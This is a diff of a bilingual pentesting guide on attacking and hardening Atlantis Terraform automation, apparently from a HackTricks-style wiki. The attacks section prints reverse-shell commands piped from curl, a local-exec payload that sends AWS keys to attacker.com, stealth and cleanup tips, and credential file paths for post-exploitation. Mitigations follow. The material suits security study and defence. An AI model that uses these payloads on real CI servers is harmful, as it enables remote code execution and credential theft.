- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
|
||||
> [!WARNING]
|
||||
> **Контейнер**, в якому **працює Atlantis**, ймовірно, **міститиме привілейовані облікові дані** для провайдерів (AWS, GCP, Github...), якими керує Atlantis через Terraform.
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
|
||||
#### Web Page
|
||||
|
||||
За замовчуванням Atlantis запустить **веб-сторінку на порту 4141 на localhost**. Ця сторінка просто дозволяє вам увімкнути/вимкнути atlantis apply і перевірити статус плану репозиторіїв та розблокувати їх (вона не дозволяє вносити зміни, тому не є дуже корисною).
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
|
||||
Ви, напевно, не знайдете її відкритою для Інтернету, але здається, що за замовчуванням **жодні облікові дані не потрібні** для доступу до неї (а якщо потрібні, то `atlantis`:`atlantis` є **за замовчуванням**).
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
|
||||
### Server Configuration
|
||||
|
||||
Конфігурацію для `atlantis server` можна вказати через командні рядки, змінні середовища, конфігураційний файл або комбінацію трьох.
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
|
||||
- Ви можете знайти [**список прапорців**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration), підтримуваних сервером Atlantis.
|
||||
- Ви можете знайти [**інформацію про те, як перетворити параметр конфігурації на змінну середовища**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
|
||||
Значення вибираються **в такому порядку**:
|
||||
Values are **chosen in this order**:
|
||||
|
||||
1. Прапорці
|
||||
2. Змінні середовища
|
||||
3. Конфігураційний файл
|
||||
1. Flags
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що в конфігурації ви можете знайти цікаві значення, такі як **токени та паролі**.
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
|
||||
#### Repos Configuration
|
||||
|
||||
Деякі конфігурації впливають на **те, як керуються репозиторії**. Однак можливо, що **кожен репозиторій вимагатиме різних налаштувань**, тому є способи вказати кожен репозиторій. Це порядок пріоритету:
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
|
||||
1. Репозиторій [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) файл. Цей файл можна використовувати для вказівки, як atlantis повинен обробляти репозиторій. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це.
|
||||
1. Ймовірно, потрібно дозволити прапорцями, такими як `allowed_overrides` або `allow_custom_workflows`.
|
||||
2. [**Конфігурація на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Ви можете передати її з прапорцем `--repo-config`, і це yaml, що конфігурує нові налаштування для кожного репозиторію (підтримуються regex).
|
||||
3. **Значення за замовчуванням**.
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
|
||||
**PR Protections**
|
||||
|
||||
Atlantis дозволяє вказати, чи хочете ви, щоб **PR** був **`схвалений`** кимось іншим (навіть якщо це не встановлено в захисті гілки) і/або бути **`злитим`** (захисти гілки пройдені) **перед виконанням apply**. З точки зору безпеки, рекомендується встановити обидва параметри.
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
|
||||
У разі, якщо `allowed_overrides` є True, ці налаштування можуть бути **перезаписані в кожному проекті файлом `/atlantis.yml`**.
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
|
||||
**Scripts**
|
||||
|
||||
Конфігурація репозиторію може **вказувати скрипти** для виконання [**перед**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) та [**після**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) виконання **робочого процесу**.
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
|
||||
Не існує жодної опції, яка дозволяє **вказувати** ці скрипти у **репозиторії `/atlantis.yml`**.
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
|
||||
|
||||
**Workflow**
|
||||
|
||||
У конфігурації репозиторію (конфігурація на стороні сервера) ви можете [**вказати новий робочий процес за замовчуванням**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) або [**створити нові користувацькі робочі процеси**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ви також можете **вказати**, які **репозиторії** можуть **отримати доступ** до **нових** згенерованих.\
|
||||
Тоді ви можете дозволити файлу **atlantis.yaml** кожного репозиторію **вказувати робочий процес для використання**.
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Якщо прапорець [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися.\
|
||||
> Це в основному надасть **RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію**.
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -126,18 +126,19 @@ Atlantis дозволяє вказати, чи хочете ви, щоб **PR**
|
||||
|
||||
**Conftest Policy Checking**
|
||||
|
||||
Atlantis підтримує виконання **політик conftest** [**на стороні сервера**](https://www.conftest.dev/) проти виходу плану. Загальні випадки використання цього кроку включають:
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
|
||||
- Заборону використання списку модулів
|
||||
- Підтвердження атрибутів ресурсу під час створення
|
||||
- Виявлення ненавмисних видалень ресурсів
|
||||
- Запобігання ризикам безпеки (наприклад, відкриття безпечних портів для публіки)
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
|
||||
Ви можете перевірити, як це налаштувати в [**документації**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Atlantis Commands
|
||||
|
||||
[**У документації**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) ви можете знайти опції, які ви можете використовувати для запуску Atlantis:
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -160,82 +161,94 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
### Атаки
|
||||
|
||||
### Attacks
|
||||
|
||||
> [!WARNING]
|
||||
> Якщо під час експлуатації ви знайдете цю **помилку**: `Error: Error acquiring the state lock`
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
|
||||
Ви можете виправити це, запустивши:
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Зміна конфігурації в новому PR
|
||||
|
||||
Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis plan`** (або, можливо, це виконується автоматично) **ви зможете RCE всередині сервера Atlantis**.
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
|
||||
Ви можете зробити це, змусивши [**Atlantis завантажити зовнішнє джерело даних**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Просто вставте корисне навантаження, як показано нижче, у файл `main.tf`:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Стійкіший напад**
|
||||
|
||||
Ви можете виконати цей напад навіть **стійнкішим способом**, дотримуючись цих порад:
|
||||
**Stealthier Attack**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- Замість того, щоб додавати rev shell безпосередньо у файл terraform, ви можете **завантажити зовнішній ресурс**, який містить rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Ви можете знайти код rev shell за адресою [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- У зовнішньому ресурсі використовуйте функцію **ref**, щоб приховати **код terraform rev shell у гілці** всередині репозиторію, щось на зразок: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Замість** того, щоб створювати **PR до master**, щоб активувати Atlantis, **створіть 2 гілки** (test1 і test2) і створіть **PR з однієї на іншу**. Коли ви завершите атаку, просто **видаліть PR і гілки**.
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
#### Atlantis план Скидання Секретів
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
|
||||
Ви можете **скинути секрети, використані terraform**, запустивши `atlantis plan` (`terraform plan`), вставивши щось на зразок цього у файл terraform:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis застосування RCE - Модифікація конфігурації в новому PR
|
||||
|
||||
Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis apply`, ви зможете RCE всередині сервера Atlantis**.
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
|
||||
Однак вам зазвичай потрібно буде обійти деякі захисти:
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
- **Mergeable**: Якщо цей захист встановлений в Atlantis, ви можете виконати **`atlantis apply` лише якщо PR є mergeable** (що означає, що захист гілки потрібно обійти).
|
||||
- Перевірте потенційні [**обходи захисту гілок**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: Якщо цей захист встановлений в Atlantis, деякий **інший користувач повинен затвердити PR** перед тим, як ви зможете виконати `atlantis apply`
|
||||
- За замовчуванням ви можете зловживати [**токеном Gitbot для обходу цього захисту**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
Виконання **`terraform apply` на шкідливому файлі Terraform з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Вам просто потрібно переконатися, що деякий payload, як наведені нижче, закінчується у файлі `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Слідуйте **рекомендаціям з попередньої техніки**, щоб виконати цю атаку **більш приховано**.
|
||||
|
||||
#### Впровадження параметрів Terraform
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
|
||||
Коли ви виконуєте `atlantis plan` або `atlantis apply`, terraform виконується під час, ви можете передавати команди terraform з atlantis, коментуючи щось на кшталт:
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -243,17 +256,18 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Щось, що ви можете передати, це змінні середовища, які можуть бути корисними для обходу деяких захистів. Перевірте змінні середовища terraform у [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
#### Користувацький робочий процес
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
Виконання **зловмисних користувацьких команд збірки**, зазначених у файлі `atlantis.yaml`. Atlantis використовує файл `atlantis.yaml` з гілки запиту на злиття, **а не** з `master`.\
|
||||
Цю можливість було згадано в попередньому розділі:
|
||||
#### Custom Workflow
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
|
||||
> [!CAUTION]
|
||||
> Якщо прапор [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у файлі **`atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися.
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
>
|
||||
> Це, по суті, надасть **RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію**.
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -272,97 +286,99 @@ atlantis apply -- -h #Get terraform apply help
|
||||
> - run: my custom apply command
|
||||
> ```
|
||||
|
||||
#### Обхід захистів плану/застосування
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
|
||||
Якщо прапор [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _має_ налаштовані `apply_requirements`, можливо, що репозиторій може **модифікувати захисти плану/застосування для їх обходу**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
Якщо хтось надішле **`atlantis plan/apply` коментарі до ваших дійсних pull requests,** це призведе до запуску terraform, коли ви цього не хочете.
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
|
||||
Більше того, якщо у вас не налаштовано **захист гілок** для запиту на **повторну оцінку** кожного PR, коли **новий коміт додається** до нього, хтось може **написати шкідливі конфігурації** (перевірте попередні сценарії) у конфігурації terraform, запустити `atlantis plan/apply` і отримати RCE.
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
|
||||
Це **налаштування** у захисті гілок Github:
|
||||
This is the **setting** in Github branch protections:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
Якщо вам вдасться **викрасти секрет вебхука** або якщо **не використовується жоден секрет вебхука**, ви зможете **викликати вебхук Atlantis** і **виконати команди atlatis** безпосередньо.
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud **не підтримує секрети вебхуків**. Це може дозволити зловмисникам **підробляти запити з Bitbucket**. Переконайтеся, що ви дозволяєте лише IP-адреси Bitbucket.
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
|
||||
- Це означає, що **зловмисник** може надсилати **фальшиві запити до Atlantis**, які виглядають так, ніби вони надходять з Bitbucket.
|
||||
- Якщо ви вказуєте `--repo-allowlist`, то вони можуть підробляти лише запити, що стосуються цих репозиторіїв, тому найбільша шкода, яку вони можуть завдати, буде полягати в плануванні/застосуванні на ваших власних репозиторіях.
|
||||
- Щоб запобігти цьому, додайте до білого списку [IP-адреси Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (див. вихідні IPv4-адреси).
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Якщо вам вдалося отримати доступ до сервера або принаймні ви отримали LFI, є кілька цікавих речей, які ви повинні спробувати прочитати:
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
|
||||
- `/home/atlantis/.git-credentials` Містить облікові дані доступу до vcs
|
||||
- `/atlantis-data/atlantis.db` Містить облікові дані доступу до vcs з додатковою інформацією
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Файл стану Terraform
|
||||
- Приклад: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Змінні середовища
|
||||
- `/proc/[2-20]/cmdline` Командний рядок `atlantis server` (може містити чутливі дані)
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Оскільки будь-хто може коментувати публічні pull requests, навіть з усіма доступними заходами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації налаштувань безпеки.
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
Якщо ви працюєте з публічним репозиторієм (що не рекомендується, див. вище), вам не слід встановлювати `--allow-fork-prs` (за замовчуванням false), оскільки будь-хто може відкрити pull request з їхнього форка до вашого репозиторію.
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis вимагає, щоб ви вказали список дозволених репозиторіїв, з яких він прийматиме вебхуки, за допомогою прапора `--repo-allowlist`. Наприклад:
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
|
||||
- Конкретні репозиторії: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Вся ваша організація: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Кожен репозиторій у вашій установці GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Усі репозиторії: `--repo-allowlist=*`. Корисно, коли ви в захищеній мережі, але небезпечно без також налаштування секрету вебхука.
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
|
||||
Цей прапор забезпечує, що ваша установка Atlantis не використовується з репозиторіями, які ви не контролюєте. Дивіться `atlantis server --help` для отримання додаткової інформації.
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
Якщо зловмисники надсилають pull requests з шкідливим кодом Terraform у вашій моделі загроз, ви повинні бути свідомі того, що схвалення `terraform apply` недостатньо. Можливо запустити шкідливий код у `terraform plan`, використовуючи [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) або вказавши шкідливий провайдер. Цей код може потім ексфільтрувати ваші облікові дані.
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
|
||||
Щоб запобігти цьому, ви можете:
|
||||
To prevent this, you could:
|
||||
|
||||
1. Включити провайдери в образ Atlantis або хостити та заборонити вихід у виробництві.
|
||||
2. Реалізувати протокол реєстру провайдерів внутрішньо та заборонити публічний вихід, таким чином ви контролюєте, хто має доступ на запис до реєстру.
|
||||
3. Змінити ваш [конфігурацію репозиторію на стороні сервера](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` крок, щоб перевірити використання заборонених провайдерів або джерел даних або PR з не дозволених користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагати "палець вгору" на PR перед тим, як дозволити `plan` продовжити. Conftest може бути корисним тут.
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis слід запускати з налаштованими секретами вебхуків через змінні середовища `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Навіть з установленим прапором `--repo-allowlist`, без секрету вебхука, зловмисники можуть надсилати запити до Atlantis, видаючи себе за репозиторій, який є в білому списку. Секрети вебхуків забезпечують, що запити вебхуків дійсно надходять від вашого постачальника VCS (GitHub або GitLab).
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
|
||||
Якщо ви використовуєте Azure DevOps, замість секретів вебхуків додайте базове ім'я користувача та пароль.
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps підтримує надсилання заголовка базової аутентифікації у всіх подіях вебхуків. Це вимагає використання HTTPS URL для вашого місця розташування вебхука.
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
Якщо ви використовуєте секрети вебхуків, але ваш трафік йде через HTTP, то секрети вебхуків можуть бути вкрадені. Увімкніть SSL/HTTPS, використовуючи прапори `--ssl-cert-file` та `--ssl-key-file`.
|
||||
